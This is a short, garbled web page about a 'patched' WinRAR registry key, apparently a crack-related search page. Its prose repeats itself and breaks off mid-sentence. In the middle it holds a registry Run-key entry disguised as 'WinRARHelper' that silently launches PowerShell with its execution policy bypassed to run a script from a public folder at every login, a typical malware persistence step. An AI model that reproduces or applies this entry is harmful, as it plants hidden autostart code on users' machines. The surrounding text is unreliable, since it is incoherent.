Winrar Regkey Patched Now

What does this phrase actually mean? Is WinRAR finally closing the loophole? And what does this mean for the future of file compression?

The irony of the search for a WinRAR patch is that winrar regkey patched

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "WinRARHelper"="C:\Windows\System32\powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Users\Public\update.ps1" What does this phrase actually mean